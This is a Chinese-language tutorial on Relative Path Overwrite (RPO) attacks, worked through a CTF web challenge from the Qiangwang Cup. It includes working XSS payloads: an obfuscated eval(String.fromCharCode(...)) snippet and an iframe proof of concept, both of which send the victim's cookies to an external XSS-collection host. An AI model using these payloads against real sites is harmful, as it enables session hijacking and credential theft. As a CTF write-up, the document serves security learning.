前言:
本来前几个星期就看了好几篇有关 RPO 攻击的文章,想抽空总结一下,但是觉得那几篇文章给出的例子都太生搬硬套,并不能让人很好的理解 RPO 攻击到底可以怎么用,给人一种 RPO 攻击很鸡肋的感觉。
直到看到了上周的强网杯 Web 题的 share your mind 的 write up,才让我有一种顿悟的感觉。不得不说这道题目质量非常的高,给了 RPO 攻击一个非常合理的利用环境。
于是借这道题目,详细分析一下有关 RPO 攻击的原理。
什么是 RPO 攻击?
首先从名字上理解一下,RPO(Relative Path Overwrite)相对路径覆盖,即通过利用浏览器和服务器的反应差异,将页面中使用相对路径引入的静态资源文件偷梁换柱。
当我们把原本的静态资源文件替换成我们自定义的恶意脚本,就造成了 RPO 攻击。
什么情况下会导致 RPO 攻击?
要弄清楚这个问题,我们要先搞清楚一个差异:
默认情况下Apache 与 Nginx 处理 请求中的 %2f 的差异:
对于一个形如:
的请求,apache 会认为请求的内容是网站根目录下的名为 “article%2f111” 的文件。而 Nginx 则会将 %2f 解码成 “/” ,认为请求的内容是网站根目录下的 article 文件夹下的名为 “111” 的文件。
但是注意这是默认情况下二者之间的差异。并不是说 Apache 就一定不能解析 %2f,修改路由规则就可能导致 %2f 被解析。
浏览器与 Nginx 处理 请求中 %2f 的差异:
对于同样的请求,浏览器站在了 Apache 这边,它也认为请求的内容是网站根目录下的名为 “article%2f111” 的文件。那么这时,如果返回的页面存在相对路径引入的静态资源,浏览器便会错误地向 “article%2f111” 的上一级发起请求。
为了方便理解,这里我做了一个实例:
正常情况下:
此时静态资源的路径相对于:
http://127.0.0.1/uikit/
用 %2f 替换“/”后:
可以看到此时浏览器认为静态资源的路径相对于:
http://127.0.0.1/
综上所述,要实现 RPO(注意是 RPO 不是 RPO 攻击) 要满足两个基本条件:
- 服务端可以将 %2f 解析为“/”
- 页面使用相对路径引入资源
而要构造 RPO 攻击,还需要满足:
- 有内容可控的输出界面:如留言板、发布文章等。
- 服务端使用了非精确匹配的正则匹配模式(这样可以将包含我们自定义内容的界面以静态资源的形式引入,而不是上图这种404的情况。如果不懂的话,建议百度一下。)一个简单的验证方法是,在正常的地址后再添加/xxxxx/,如果仍然可以返回之前的内容,则说明满足要求。这种情况多见于 MVC 框架搭建的网站,或者自定义了 Nginx 以及 Apache 的路由规则,实现的伪静态网站。
这样,利用通过利用 ..%2f 将 我们自己构造的恶意代码,以静态文件的形式引入到页面,就造成了 RPO 攻击。
可能你还不太明白如何利用,没关系,让我们通过这道题目实践一下。
一道涉及 RPO 攻击的 XSS 题目:
本题为 第二届强网杯 CTF 比赛的 Web 题目
题目描述:
打开题目,注册账号,登陆后发现是一个类似 树洞功能 一样的平台。你可以写下你自己的文章,然后通过 Report s 界面将文章的地址提交给管理员。
简单的测试一下:
尝试写入标签发现尖括号被转义,也就是无法直接在这个文章界面触发 xss。
情况分析:
查看一下 index 页面的 html 源码,发现这样的内容:
<script src="static/js/jquery.min.js"></script>
<script src="/static/js/bootstrap.min.js"></script>
可以看到 jquery.js 是使用相对路径引入的。那么我们现在拥有了两个条件:
- 拥有内容可控的界面
- 页面使用相对路径引入资源
那我们看看其余的两条也是否满足:
- 访问 http://39.107.33.96:20000/index.php%2fview 发现服务端正常返回 view 界面的内容
- 访问 http://39.107.33.96:20000/index.php/view/asdasdasdasdasdasdasd/ 结果同上
说明 服务端可以解析 %2f,并且服务端使用了模糊匹配的正则路由规则。至此所有要求全部被满足。
构造攻击:
因为我们可以覆盖的静态资源是 JavaScript 文件,而 JavaScript 要求文件内所有内容必须满足其语法要求,稍有不符,就会无情地丢出一个 error。(注意在这一点上,css 有着不同的要求,只要文件内容有一部分满足 css 语法要求的代码,就可以正常解析)
所以我们必须保证我们引入的 article 内容必须全部是符合 JavaScript 语法的,
而我们写入的文章源码是这样的:
多了一个 h1 的标签,不能满足 JavaScript 的语法要求。
简单尝试后发现只要在写文章的时候将 Title 空出来,就可以使得 h1 标签消失:
那么我们可以构造这样的代码:
document.write("<img src=http://www.xsspingtai.com/XSS/?cookie="+document.cookie+">");
来获取后台 admin 的 cookie。但是因为尖括号被转义了,所以我们使用 eval() 和 String.fromCharCode()来绕过。测试后发现 cookie 中存在空格,无法直接作为 get 的参数值传递,那么使用 window.btoa() 来编码成 base64 形式即可。于是最终写入的内容是:
eval(String.fromCharCode(100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,34,60,105,109,103,32,115,114,99,61,104,116,116,112,58,47,47,119,119,119,46,120,115,115,112,105,110,103,116,97,105,46,99,111,109,47,88,83,83,47,63,99,111,111,107,105,101,61,34,43,119,105,110,100,111,119,46,98,116,111,97,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41,43,34,62,34,41,59));
然后构造这样的链接:
http://39.107.33.96:20000/index.php/view/article/1654/..%2f..%2f..%2f..%2f
直接访问一下看看效果:
成功完成相对路径覆盖!
完整分析一下整个 RPO 的过程:访问链接后,服务端返回的是 index.php 的内容,但是浏览器认为当前的 location.href 是 http://39.107.33.96:20000/index.php/view/article/1654/..%2f..%2f..%2f..%2f,于是向 http://39.107.33.96:20000/index.php/view/article/1654/static/js/jquery.min.js 请求 jquery.js;而因为网站使用的模糊匹配路由规则,所以这个链接返回的结果与直接访问 http://39.107.33.96:20000/index.php/view/article/1654/ 相同,就是我们的文章内容:
那么把这个链接通过 Reports 发送到后台,就可以收到 cookie了,内容是一个hint :HINT=Try to get the cookie of path “/QWB_fl4g/QWB/"。
那么再编写一段 POC 来获取 “/QWB_fl4g/QWB/“这个路径下的 cookie 即可。article 的内容有长度限制,所以要尽可能写短的代码:
i = document.createElement("iframe");
i.src="/QWB_fl4g/QWB/";
i.setAttribute("onload","s()");
document.body.appendChild(i);
function s(){
b = i.contentWindow.document.cookie;
document.write("<img src=http://www.xsspingtai.com/XSS/?flag="+window.btoa(b)+" >")
};
然后重复操作就可以拿到 flag 了。
最后:
到这里 RPO 攻击的整个过程就分析完了,而实际情况下,不只可以通过覆盖 js 文件来完成攻击, 覆盖 css 文件也同样可以构造攻击,但是这就不在本文的讨论范围之内了,因为本文只分析 RPO 的原理,而不去关心具体使用 js 还是 css,有兴趣的同学去了解一下利用 css 构造的 xss 攻击即可。